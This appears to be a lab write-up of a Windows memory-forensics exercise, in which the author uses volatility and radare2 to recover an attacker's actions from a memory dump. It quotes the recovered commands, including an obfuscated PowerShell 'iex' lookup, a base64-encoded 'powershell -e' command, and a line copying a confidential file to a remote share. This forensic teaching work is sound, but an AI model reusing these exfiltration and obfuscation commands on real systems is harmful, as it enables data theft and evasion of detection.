The first initial step was to setup my Dockerfile for Kali and the tools I felt were necessary.

I then noticed radare2 doesn’t come preinstalled in the container, so just used apt to get it after updating/upgrading the container.
podman build -f docker/Dockerfile -t kali-env .podman run -it --rm -v "$(pwd)":/usr/project:Z kali-envThe first question of this module is:
So the first idea was just to check out the file in general and get some basic information:

After that, I looked here and noticed that productName should yield the name of the OS, if it’s Windows. Thankfully:

So the next question will be:
I spent some time trying to look for specific properties such as creationDate, using a regular expression [0-9]{4}[/.-][0-9]{2}[/.-][0-9]{2}, createdDateTime, etc. but nothing was coming back that seemed useful. (or it gave back 5000+ entries) So I looked for a different tool, and found volatility3.
So, after much testing I decided to alter my Dockerfile a bit for our new tools and installs to:

Then, using this command python3 /opt/volatility3/vol.py -f recollection.bin windows.info.Info we are given the answer:

Which gave us the system time the dump was created: 2022-12-19 16:07:30
Next question we’re asked is:
I went back to using radare2, an used the command: / powershell.exe to find any hits. Once I did this, I used V to go into visual mode, then would press n to check around at different hits and see if I could find the command. But even still, passing through this many entries is taxing. So instead, I decided to try volatility3 again.
However, something worth noting is that the clipboard plugin is only available for volatility2 not volatility3. So, I needed to install volatility2 in order to use this.
So after altering my Dockerfile to include volatility2 and the needed libraries/packages, I went ahead and used python2 /opt/volatility2/vol.py -f recollection.bin imageinfo so I could see which profile the binary has.

We can see the recommended profiles, so I figured I’d try the first recommended profile: Win7SP1x64
With this command: python2 /opt/volatility2/vol.py -f recollection.bin --profile=Win7SP1x64 clipboard

Which thankfully gave us the command copied: (gv '*MDR*').naMe[3,11,2]-joIN''
And then we move to the next question:
For this question, I found the consoles plugin useful through this command: python2 /opt/volatility2/vol.py -f recollection.bin --profile=Win7SP1x64 consoles

Noting it says iex, I looked it up and found this https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.4 which I believe would point us towards the answer being: Invoke-Expression
The next question is:
Now I used the cmdscan plugin with: python2 /opt/volatility2/vol.py -f recollection.bin --profile=Win7SP1x64 cmdscan

Which yields the answer: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
Here is the next question:
If we look back up in our consoles run, it can be noted that an ls command is ran after executing the script. There is no pass.txt files, so the answer is NO.

With that question answered, we move to the next question:
I couldn’t find anything that I thought would help me as far as plugins go, and I also didn’t feel like using radare2 for this task. But I did find this post https://isc.sans.edu/diary/Using+Yara+rules+with+Volatility/22950 that points towards using yara with volitility. So I decided to take a crack at doing this:

Using this file and this command: python2 /opt/volatility2/vol.py -f recollection.bin --profile=Win7SP1x64 yarascan -Y search_readme.yara

However, it then dawned on me looking over my previous commands, specifically the use of the cmdscan, that there’s a command directly underneath there that is echoing a strange string. powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
I tossed that string into Google, and it pulled up a bunch of base64 encoding links, so I went to cyberchef and low and behold, it gave me the answer!

Though you could also do this with a command:

But either way, the answer is given: C:\Users\Public\Office\readme.txt
So now, the next question:
As we seem to be on a volitility train, I’ll use that with this command: python2 /opt/volatility2/vol.py -f recollection.bin --profile=Win7SP1x64 envars
This command gave us a lot of output, but amongst it was the answer: User-PC

Now, the next question is:
So I noticed in my output from envars that there was a variable named USERNAME, so I just altered my command a bit to hand me all of those and then counted: python2 /opt/volatility2/vol.py -f recollection.bin --profile=Win7SP1x64 envars | grep USERNAME
The above command yields us 3 accounts.

Now, the next question:
So I looked through the documentation and noticed there’s a plugin called filescan which seemed to be what was needed here. Running it creates a lot of entries, so instead decided to grep for what I needed: python2 /opt/volatility2/vol.py -f recollection.bin --profile=Win7SP1x64 filescan | grep passwords.txt

Leaving the answer: \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
Which leads us to the next question:
From our consoles plugin output earlier I remember seeing the files list that had an exe in it, which turns out IS the answer!

Meaning: b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1 is the answer.
Now on to the next question:
So for this one, I wanted to do this one just a bit more programmatically. First step was installing pefile and then making a quick python script for it.